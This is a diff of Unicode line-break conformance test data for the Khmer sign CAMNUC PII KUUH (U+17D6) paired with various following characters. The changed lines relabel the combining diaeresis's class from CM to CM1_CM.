+× 17D6 × 0308 × 0020 × 0029 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 17D6 × 000D ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 17D6 × 0020 × 000D ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 17D6 × 0308 × 000D ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 17D6 × 0308 × 0020 × 000D ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 17D6 × 0308 × 000D ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 17D6 × 0308 × 0020 × 000D ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 17D6 × 0021 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 17D6 × 0020 × 0021 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 17D6 × 0308 × 0021 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 17D6 × 0308 × 0020 × 0021 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 17D6 × 0308 × 0021 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 17D6 × 0308 × 0020 × 0021 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 17D6 × 00A0 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
× 17D6 × 0020 ÷ 00A0 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 17D6 × 0308 × 00A0 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 17D6 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 17D6 × 0308 × 00A0 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 17D6 ÷ AC00 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 17D6 × 0020 ÷ AC00 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 17D6 × 0308 ÷ AC00 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 17D6 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 17D6 × 0308 ÷ AC00 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 17D6 ÷ AC01 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 17D6 × 0020 ÷ AC01 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 17D6 × 0308 ÷ AC01 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 17D6 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 17D6 × 0308 ÷ AC01 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 17D6 ÷ 05D0 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 17D6 × 0020 ÷ 05D0 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 17D6 × 0308 ÷ 05D0 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 17D6 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 17D6 × 0308 ÷ 05D0 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 17D6 × 002D ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
× 17D6 × 0020 ÷ 002D ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 17D6 × 0308 × 002D ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 17D6 × 0308 × 0020 ÷ 002D ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 17D6 × 0308 × 002D ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ 002D ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 17D6 ÷ 231A ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [999.0] WATCH (ID) ÷ [0.3]
× 17D6 × 0020 ÷ 231A ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 17D6 × 0308 ÷ 231A ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 17D6 × 0308 × 0020 ÷ 231A ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 17D6 × 0308 ÷ 231A ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ 231A ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 17D6 ÷ 2024 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
× 17D6 × 0020 ÷ 2024 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 17D6 × 0308 ÷ 2024 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 17D6 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 17D6 × 0308 ÷ 2024 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 17D6 × 002C ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [13.02] COMMA (IS) ÷ [0.3]
× 17D6 × 0020 × 002C ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 17D6 × 0308 × 002C ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 17D6 × 0308 × 0020 × 002C ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 17D6 × 0308 × 002C ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 17D6 × 0308 × 0020 × 002C ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 17D6 ÷ 1100 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 17D6 × 0020 ÷ 1100 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 17D6 × 0308 ÷ 1100 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 17D6 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 17D6 × 0308 ÷ 1100 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 17D6 ÷ 11A8 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 17D6 × 0020 ÷ 11A8 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 17D6 × 0308 ÷ 11A8 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 17D6 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 17D6 × 0308 ÷ 11A8 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 17D6 ÷ 1160 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 17D6 × 0020 ÷ 1160 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 17D6 × 0308 ÷ 1160 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 17D6 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 17D6 × 0308 ÷ 1160 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 17D6 × 000A ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 17D6 × 0020 × 000A ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 17D6 × 0308 × 000A ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 17D6 × 0308 × 0020 × 000A ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 17D6 × 0308 × 000A ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 17D6 × 0308 × 0020 × 000A ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 17D6 × 0085 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 17D6 × 0020 × 0085 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 17D6 × 0308 × 0085 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 17D6 × 0308 × 0020 × 0085 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 17D6 × 0308 × 0085 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 17D6 × 0308 × 0020 × 0085 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 17D6 × 17D6 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 17D6 × 0020 ÷ 17D6 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 17D6 × 0308 × 17D6 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 17D6 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 17D6 × 0308 × 17D6 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 17D6 ÷ 0030 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
× 17D6 × 0020 ÷ 0030 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 17D6 × 0308 ÷ 0030 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
-× 17D6 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 17D6 × 0308 ÷ 0030 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 17D6 ÷ 0028 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 17D6 × 0020 ÷ 0028 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 17D6 × 0308 ÷ 0028 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 17D6 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 17D6 × 0308 ÷ 0028 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 17D6 ÷ 0025 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
× 17D6 × 0020 ÷ 0025 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 17D6 × 0308 ÷ 0025 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
-× 17D6 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 17D6 × 0308 ÷ 0025 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 17D6 ÷ 0024 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
× 17D6 × 0020 ÷ 0024 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 17D6 × 0308 ÷ 0024 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 17D6 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 17D6 × 0308 ÷ 0024 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 17D6 × 0022 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
× 17D6 × 0020 ÷ 0022 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 17D6 × 0308 × 0022 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 17D6 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 17D6 × 0308 × 0022 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 17D6 × 0020 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [0.3]
× 17D6 × 0020 × 0020 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 17D6 × 0308 × 0020 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 17D6 × 0308 × 0020 × 0020 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 17D6 × 0308 × 0020 × 0020 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 17D6 × 002F ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 17D6 × 0020 × 002F ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
